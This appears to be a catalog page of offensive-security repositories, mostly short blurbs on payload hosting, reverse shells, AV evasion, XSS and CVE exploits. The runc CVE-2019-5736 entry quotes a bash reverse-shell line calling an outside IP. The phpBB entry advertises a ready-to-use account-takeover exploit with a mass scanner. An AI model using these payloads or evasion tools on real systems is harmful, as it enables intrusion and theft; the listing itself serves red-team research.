pwndrop

pwndrop 은 레드팀 페이로드를 전송하거나 개인 파일을 HTTP 및 WebDAV를 통해 안전하게 공유하기 위한 자체 배포형 파일 호스팅 서비스입니다. 만약 파일을 호스팅하기 위해 빠르게 nginx/apache 웹 서버를 설정해야 했고, python -m SimpleHTTPServer의 제한에 항상 만족하지 못했다면, pwndrop 이 바로 당신을 위한 도구입니다! pwndrop 으로 다음을 할 수 있습니다: 드래그 앤 드롭을 사용하여 개인 VPS에 여러 파일을 업로드하고 즉시 공유합니다. 클릭 한 번으로 파일을 다운로드 가...

CVE-2022-21894-Payload-New

CVE-2022-21894에 대한 간단한 예제 페이로드입니다. 이는 공격자가 두 번째 단계 페이로드를 매핑하여 EFI 서비스를 호출할 수 있는 방법을 보여줍니다. 이 취약점에 대한 분석은 다음에서 확인할 수 있습니다: https://github.com/Wack0/CVE-2022-21894. 이 저장소의 코드는 위에서 언급한 저장소의 PoCpocamd6419041를 확장합니다...

zkar

ZKar ZKar is a Java serialization protocol analysis tool implement in Go. This tool is still work in progress , so no complete API document and contribution guide. ZKar provides: A Java serialization payloads parser and viewer in pure Go, no CGO or JDK is required From the Java serialization...

zkar

ZKar ZKar는 Go로 구현된 Java 직렬화 프로토콜 분석 도구입니다. 이 도구는 아직 진행 중인 작업 이므로 완전한 API 문서와 기여 가이드가 없습니다. ZKar는 다음을 제공합니다: 순수 Go로 작성된 Java 직렬화 페이로드 파서 및 뷰어, CGO나 JDK가 필요하지 않습니다 Java 직렬화 프로토콜에서 Go 구조체로 Java 직렬화 데이터를 조작할 수 있는 Go 라이브러리 작업 중: ysoserial의 Go 구현 작업 중: Java 클래스 바이트코드 파서, 뷰어 및 조작 작업 중: Go에서의 RMI/LDAP 구현...

Cheshire

Cheshire LitterBox を基盤とした Adaptix 向けペイロード事前検証。 Cheshire は Adaptix C2 サービスプラグインであり、Adaptix クライアントと LitterBox サンドボックスを橋渡しします。 Adaptix UI 内から、オペレーターは任意のバイナリを選択し、LitterBox の完全な アナライザチェーン（静的解析 + 動的解析 + 到達可能なすべての EDR プロファイル）に ディスパッチして、Adaptix から離れることなく判定結果が現れるのを確認できます。 名称はプロジェクトのマスコットの系譜に従っています: Adapti...

CVE-2026-48611-EXPLOIT

CVE-2026-48611 – phpBB OAuthアカウント乗っ取りエクスプロイト 未認証アカウント乗っ取り | CVSS 9.4 クリティカル | すぐに使用可能 🔥 入手内容 CVE-2026-48611 の完全動作する Python エクスプロイト マススキャナー — 自動で何千ものターゲットをチェック CSRFペイロード生成ツール — アカウント乗っ取り用のHTMLファイルを作成 脆弱なターゲットを返す — バージョンとOAuthプロバイダ情報付き phpBB 3.3.0 から 3.3.16 で動作 （OAuth有効時：Google、Facebook、Bitly）...

mqxss

mqxss v0.2 mqxssはMQTTを介してフックされたブラウザと通信するクライアントとして動作します beefやxsshunterよりもこれを使う利点は、jsペイロードをホストする以外にインフラのセットアップが不要なことです。パブリックブローカーを使用できます（ただし、現在は難読化を使用しており、暗号化は開発中です）。 フックされたブラウザは、指定したブローカーのMQTTトピックで通信します。これをテストするためのパブリック/フリーブローカーが多数あります。...

CVE-2018-11776-Python-PoC

CVE-2018-11776-Python-PoC hook-s3c github.com/hook-s3c, @hooks3c 트위터에서 CVE-2018-11776을 위한 작동하는 Python 테스트 및 PoC, 원래 다음에서 등장했습니다; https://github.com/hook-s3c/CVE-2018-11776-Python-PoC 무슨 일인가요? Semmle의 Man Yue Mo가 Struts2 RCE 취약점을 발표했습니다. 이 취약점은 요청의 URL 경로에 인코딩된 페이로드로 전달됩니다. 영향을 받는 버전은 2.3부터...

CVE-2019-5736

🖥️ -h3x0v3rl0rd- ️⃣ CVE-2019-5736 사용법 : 해당 시스템은 CVE-2019-5736에 취약합니다. Runc 익스플로잇 CVE-2019-5736의 단계를 따르세요. main.go 파일을 다운로드하고, 파일 내 페이로드를 다음과 같이 변경하세요: var payload = "!/bin/bash \n bash -i & /dev/tcp/10.10.14.12/1234 0&1" 그 후, 실행: go build main.go HTTP 서버 호스팅: python3 -m http.server 그런 다음 아래와 같이 3개의...

EXOCET-AV-Evasion

EXOCET - AV 우회, 탐지 불가, 페이로드 전달 도구 Chang Tan AWS 공인 클라우드 실무자 및 솔루션스 아키텍트 어소시에이트 [email protected] 업데이트된 EXOCET 사용법 크립터 키의 유출을 방지하고 악성코드 분석가를 더욱 혼란시키기 위해 페이로드를 패킹해야 합니다. Themida와 같은 상용 최고급 패커는 필요하지 않습니다. 코드 서명 인증서 없이는 더 큰 의심을 불러일으킬 뿐입니다. 코드 서명 인증서가 없으면 Windows 시스템에서 SmartScreen이 자동으로 트리거됩니다. 이...

SynthAPT

SynthAPT 개요 SynthAPT는 복잡한 공격 경로를 재현하기 위한 플레이북 기반의 적대 시뮬레이션 프레임워크입니다. 고급 탐지 및 AI 기반 조사 에이전트를 검증하기 위해 설계되었습니다. 핵심 아이디어는 악성코드 동작을 JSON으로 표현하고 기능성 악성코드로 컴파일하여 LLM을 사용한 현실적인 시나리오의 신속한 개발을 가능하게 하는 것입니다. 핵심 임플란트는 플레이북 인터프리터에 의해 구동되는 셸코드 페이로드입니다. 플레이북은 전체 공격 경로를 미리 정의하고 임플란트는 이를 따라 프로세스 인젝션, 횡적 이동 등을 통해...

Shelter

Shelter Shelter는 완전한 무장형 수면 난독화 기법으로, ROP를 광범위하게 사용하여 메모리 내 페이로드를 완전히 암호화할 수 있습니다. 이 크레이트는 다음과 같은 특징을 가지고 있습니다: AES-128 암호화. 전체 PE 암호화 기능. 수면 중 실행 권한 제거. APC/HWBP/타이머 미사용, 오직 ROP만을 사용하여 난독화 달성. 호출 스택 스푸핑을 위해 Unwinder 사용 후 ROP 체인 실행. 다양한 상황에 적응할 수 있는 여러 실행 방법. 기타 OPSEC 고려 사항: DInvokers, 간접 시스템 콜,...

Forblaze

Forblaze - Python 기반 Mac 스테가노그래피 페이로드 생성기/메모리 내 Dylib/MachO 실행 저자: AsaurusRex 면책 조항 이 프로젝트를 합법적인 레드팀/펜테스팅 작업 또는 연구 이외의 목적으로 사용하지 마십시오. 불법 활동에 사용하지 마십시오. 이 프로젝트는 연구 목적과 레드팀 및 블루팀의 임무를 발전시키기 위해 제공됩니다. 블로그 포스트 Forblaze에 대한 블로그 포스트는...

ezXSS

ezXSS는 침투 테스터와 버그 바운티 헌터가 블라인드 크로스 사이트 스크립팅을 테스트하는 쉬운 방법입니다. ezXSS는 크로스 사이트 스크립팅XSS 취약점을 찾고 악용하는 데 도움을 주도록 설계된 도구입니다. ezXSS의 주요 기능 중 하나는 전통적인 방법으로 찾기 어려운 블라인드 XSS 취약점을 식별하고 악용할 수 있다는 점입니다. ezXSS 페이로드가 배치되면 사용자가 트리거될 때까지 기다려야 하며, 그 시점에 ezXSS는 취약한 페이지의 모든 정보를 저장하고 사용자에게 알립니다. 이 보고서는 이후 중요한 데이터를 식별하...

unicorn

unicorn Written by: Dave Kennedy @HackingDave Website: https://www.trustedsec.com Magic Unicorn is a simple tool for using a PowerShell downgrade attack and inject shellcode straight into memory. Based on Matthew Graeber's powershell attacks and the powershell bypass technique presented by David...

hoaxshell

hoaxshell ⚡ The latest version of this project is the HoaxShell standalone listener which comes with refreshed payload templates. Wou can also use it directly from https://revshells.com make sure to choose hoaxshell as the listener. ⚠️ As of 2022-10-18, hoaxshell is detected by AMSI...

hoaxshell

hoaxshell ⚡ 本项目的最新版本是 HoaxShell 独立监听器，它带有更新的有效载荷模板。你也可以直接从 https://revshells.com 使用（确保选择 hoaxshell 作为监听器）。 ⚠️ 截至 2022-10-18，hoaxshell 已被 AMSI 检测到（恶意软件百科）。你需要混淆生成的有效载荷才能使用。查看本视频了解如何手动混淆并绕过 MS Defender： Hoaxshell 示例 - youtube.com/watch?v=iElVfagdCD4 常见 PowerShell 反弹 shell 模板示例 -...

Citrix_Secure_Access_LPE_0DAY

Citric Secure Access ローカル権限昇格 Citrix Secure Access Windows Client にローカル権限昇格の脆弱性を発見しました。この脆弱性により、特権管理者が悪意のあるペイロードを注入して、NT Authority 権限を取得することが可能になります。 影響を受ける Citrix Secure Access のバージョンは 23.1.1.11 以降です。 参考までに、概念実証（PoC）を以下に示します。...

sickle-pdk

Sickle - ペイロード開発キット Sickleは、シェルコードの開発と理解の両方において、より効果的であることを目的に私が当初開発したツールです。しかし、開発と使用を重ねるうちに、ペイロード開発キットへと進化しました。現在のモジュールは主にアセンブリを対象としていますが、このツールはシェルコードに限定されるものではありません。 現在、Sickleは次のことを支援できます。 アセンブリ命令を機械語（オペコード）に変換する 生成したペイロードを含むバイトコードを実行する ターゲット言語向けにオペコードをフォーマットする 不正文字（bad character）の特定 リニア・ディスアセン...

JNDI-Injection-Exploit-Plus

JNDI-Injection-Exploit-Plus 중국어 README 설명 JNDI-Injection-Exploit-Plus는 작동 가능한 JNDI 링크 를 생성하고 RMI 서버, LDAP 서버 및 HTTP 서버를 시작하여 백그라운드 서비스를 제공하는 도구입니다. 이 도구를 사용하면 JNDI 링크를 얻을 수 있으며, 이 링크를 POC 에 삽입하여 취약점을 테스트할 수 있습니다. 예를 들어, 다음은 Fastjson 취약점 POC입니다:...